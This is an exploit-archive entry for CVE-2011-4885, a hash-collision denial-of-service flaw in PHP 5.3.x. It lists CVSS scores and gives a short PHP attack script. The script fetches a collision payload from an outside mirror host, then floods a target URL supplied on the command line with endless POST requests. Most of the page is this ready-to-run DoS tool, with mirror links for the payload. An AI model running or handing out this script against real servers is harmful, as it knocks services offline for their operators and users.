PHP 5.3.8 Hashtables Proof Of Concept

2012.01.02
Credit: me
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-399


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

<?php /* PHP 5.3.* Hash Colission DoS Exploit by infodox Original version by itz me (opensc.ws) CVE-2011-4885 Mirrors List: http://compsoc.nuigalway.ie/~infodox/hashcollide.txt http://jrs-s.net/hashcollide.txt http://www.infodox.co.cc/Downloads/hashcollide.txt Changes: Different mirror for hashcollide.txt Now takes target as a command line argument Status message printing Twitter: @info_dox Blog: blog.infodox.co.cc Site: http://www.infodox.co.cc/ */ $targ = $argv[1]; $x = file_get_contents("http://jrs-s.net/hashcollide.txt"); // if this doesnt work replace with the mirrors_lst ones... while(1) { echo "firing"; $ch = curl_init("$targ"); curl_setopt($ch, CURLOPT_POSTFIELDS, $x); curl_exec($ch); curl_close($ch); echo "[+] Voly Sent!"; } ?>

References:

http://compsoc.nuigalway.ie/~infodox/hashcollide.txt
http://jrs-s.net/hashcollide.txt
http://www.infodox.co.cc/Downloads/hashcollide.txt


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